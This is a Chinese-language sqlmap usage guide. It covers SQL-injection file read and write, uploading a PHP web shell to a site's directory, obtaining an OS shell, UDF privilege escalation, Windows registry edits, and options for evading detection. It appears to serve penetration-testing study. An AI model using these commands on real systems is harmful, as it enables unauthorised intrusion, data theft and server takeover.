一、sqlmap的基本使用
读取文件/上传文件
支持的数据库类型
仅对MySQL、MSSQL、PostgreSQL有效,可以进行文件操作
前提条件
必须是高权限用户
mysql禁用secure_file_priv=' '
php禁用GPC
有目录读写文件权限
sqlmap -u url --is-dba
# 查看是否为dba权限,必须为root权限1.读取文件案例:
sqlmap -u "http://www.php001.com/index.php?id=1" --file-read "D:/n1.txt"2.写入文件案例:
sqlmap -u "http://www.php001.com/index.php?id=1" --file-write=D:/shell.php --file-dest=C:/www/shell.php
# 上传文件(本地木马路径:目标网站目录)
获取shell
注入攻击的最终目的就是为了获取目标主机的控制器,也就是为了后去目标主机的shell
sqlmap 能够在数据库所在的服务器的操作系统上运行任意命令
格式:
sqlmap -u "URL" --os-shell 获取系统交互
sqlmap -u "URL" --os-cmd=命令 直接执行系统命令
注意:
- 仅对MySQL、MSSQL、PostgreSQL有效
前提条件:
- 数据库用户有读写权限
- 有目录读写文件权限
执行命令的原理
- 原理就是在执行--os-shell 或 os-cmd=xxx的时候,会上传一个upload木马后,再上传一个cmd shell
- 当 --os-shell退出后,会调用后门脚本删除上传文件后,进行自删除
- 在MySQL和PostgreSQL中,sqlmap可以上传一个包含两个用户自定义函数,分别为sys_exec()和sys_eval()的共享库(二进制文件),然后在数据库中创建两个对应函数,并调用对应函数执行特定的命令,并允许用户选择是否打印出相关命令执行的结果
- 在Microsoft SQL Server 中,sqlmap会利用xp_cmdshell存储过程:如果该存储过程被关闭了(Microsoft SQL Server 的2005及以上版本默认关闭),当用户请求标准输出,sqlmap将使用任何可用的SQL注入技术(盲注、带内注入、报错型注入)去获取对应结果。相反,如果无需标准输出对应结果,sqlmap则会使用堆叠查询注入(Stacked queries)技术执行相关的命令。
- 如果堆叠查询没有被web应用识别出来,并且DBMS为MySQL,假如后端DBMS和Web服务器在同一台服务器上,则仍可以利用SELECT语句中的INTO OUTFILE,在根目录可写目录中写shell。
UDF提权
可以通过编译MySQL或PostgreSQL共享库(在Windows上为DLL,在Linux、Unix上为共享对象(shared object)) 来注入自己的用户自定义函数(UDFs),然后将本地存储共享库的目录路径提供给 sqlmap。sqlmap 会根据你的选择决定下一步是向数据库服务器文件系统上传共享库,还是创建用户自定义函数。当你完成注入 UDFs 的使用后,sqlmap 还可以将它们从数据库中删除使用选项 --udf-inject 并按照说明进行操作即可;如果需要,也可以使用--shared-lib 选项通过命令行指定共享库的本地文件系统路径,否则 sqlmap 会在运行时向你询问路径此功能仅对 MySQL 或 PostgreSQL有用
访问 Windows 注册表
条件:
DBMS (Database Management System,数据库管理系统) 是MySQL,PostgreSQL 或 Microsoft SQL Server
web 应用程序支持堆叠查询
会话用户必须具备相应的访问权限
--reg-read 读取Windows注册表键值
--reg-add 写入Windows注册表键值
--reg-del 删除Windows注册表项
--reg-key, --reg-value, --reg-data和--reg-type #注册表辅助选项
常规选项
- -s 从已存储(.sqlite)文件读取会话
#qlmap 会在专用的输出目录中自动为每一个目标分别建立持久会话 SQLite 文件,该文件会存储用于恢复会话的所有数据。如果用户需要指定会话文件的具体存储位置(例如:将所有目标的会话数据存储在同一个位置),则可以使用这个选项 -t 记录HTTP(s)访问信息到文本文件,这个选项需要一个指定文本文件地址的参数,用于吸入sqlmap产生的所有HTTP(s)流量信息,包括HTTP(s)请求和HTTP(s)响应 --batch 以非交互式模式运行,当sqlmap需要用户输入信息时,都将会以默认参数运行 --update 更新sqlmap --flush-session 清空会话文件
-v 数字
# 共7个级别(0~6),默认为1# 可以用-vv 代替 -v2,推荐使用
0: 只输出 Python 出错回溯信息,错误和关键信息
1: 增加输出普通信息和警告信息
2: 增加输出调试信息
3: 增加输出已注入的payload
4: 增加输出HTTP请求
5: 增加输出HTTP响应头
6: 增加输出HTTP响应内容
对目标进行检测的时候相关参数
- -u URL
- -r # 从文件中读取HTTP请求
- -d 直连数据库,格式"mysql://root:root@192.168.0.8:3306/testdb"
- -l # 从Burp代理日志文件中解析目标地址
- -m # 从文本文件中批量获取目标
- -g # 使用Google dork 结果作为目标地址 python sqlmap.py -g "inurl:" .php?id=1""
- -c # 从INI配置文件中读取选项
- --purge # 清除历史缓存
- --flush-session #清除上次扫描的缓存
指定连接目标地址的方式
- --method=METHOD #强制使用提供的HTTP方法(例如:PUT)
- --data=DATA #使用POST发送数据串;--data="id=1&user=admin"
- --param-del=";" #使用参数分隔符,--data="id=1;user=admin"
- --cookie=COOKIE #指定HTTP Cookie,--cookie "id=11" --level 2
- --drop-set-cookie #忽略HTTP响应中的Set-Cookie参数
- --user-agent=AGENT #指定 HTTP User-Agent
- --random-agent #使用随机的HTTP User-Agent,随机从./txt/user-agents.txt 选一个,不是每次请求换一个
- --host #手动设置HTTP Host请求头值,默认情况下,HTTP Host请求头从提供的目标URL中解析
- --referer=REFERER #指定HTTP Referer,默认情况下不会在HTTP请求中发送HTTP Referer请求头
- -H HEADER #设置额外带的HTTP头参数(例如:"X-Forwarded-For:127.0.0.1")
- --headers=HEADERS #设置额外的HTTP头参数,必须以换行符分割(例如:"Accept-Language:fr\nETag:123")
- --auth-type,--auth-cred #选项用于指定后端web服务器实现的HTTP协议认证和所有向目标程序发起HTTP请求的有效凭据,支持的三种HTTP协议认证机制是:Basic、Digest、NTLM,认证凭据的语法是username:password。一个符合语法的例子:$ python sqlmap.py -u "http://192.168.124.121/sqlmap/mysql/basic/get_int.php?id\=1" --auth-type Basic --auth-cred "testuser:testpass"
- --auth-file #HTTP协议私钥认证
- --ignore-code #忽略(有问题)HTTP错误码
- --proxy,--proxy-cred,--proxy-file 和 --ignore-proxy #HTTP(s)代理,--proxy 并提供HTTP(S)代理地址使HTTP(S)请求经过该代理到达目标URL。设置HTTP(S) 代理的语法是http://url:post。如果HTTP(S)代理需要身份验证,则可以对选项 --proxy-cred 使用username:password 格式添加对应的凭证可以使用选项 --proxy-file 并指定包含批量代理的文件,想要使用sqlmap 对本地局域网目标进行测试时应该使用开关--ignore-proxy来绕过系统级的HTTP(S)代理服务
- --delay=10 #设置每个HTTP请求的延迟秒数
- --safe-freq=SAFE #每访问两次给定的合法URL才发送一次测试请求
- --csrf-token 和--csrf-url #绕过反CSRF防护
- -force-ssl #支持https的SQL注入只需加入参数-force-ssl告诉sqlmap这是http服务即可
- --identify-waf #检测是否有WAF/IPS/IDS,这个功能以失效
- --eval #在每个请求期间运行自定义的Python代码
指定注入参数
提供自定义注入payloads 和篡改参数的脚本
- -p TESTPARAMETER #指定需要测试的参数
- --skip=SKIP #指定要跳过的参数
- --dbms=DBMS #指定DBMS类型(例如:MySQL)
- --os=OS #指定DBMS服务器的操作系统类型
- --prefix=PREFIX #注入payload 的前缀字符串
- --suffix=SUFFIX #注入payload 的后缀字符串
- --tamper=TAMPER #用给定脚本修改注入数据
- --batch #自动跳过选择项,按默认选项注入
指定检测级别
sqlmap 使用的 payloads 直接从文本文件 xml/pauloads.xml 中载入
根据该文件顶部的相关指导说明进行设置,如果sqlmap漏多了特定的注入
你可以选择自己修改指定的payload 用于检测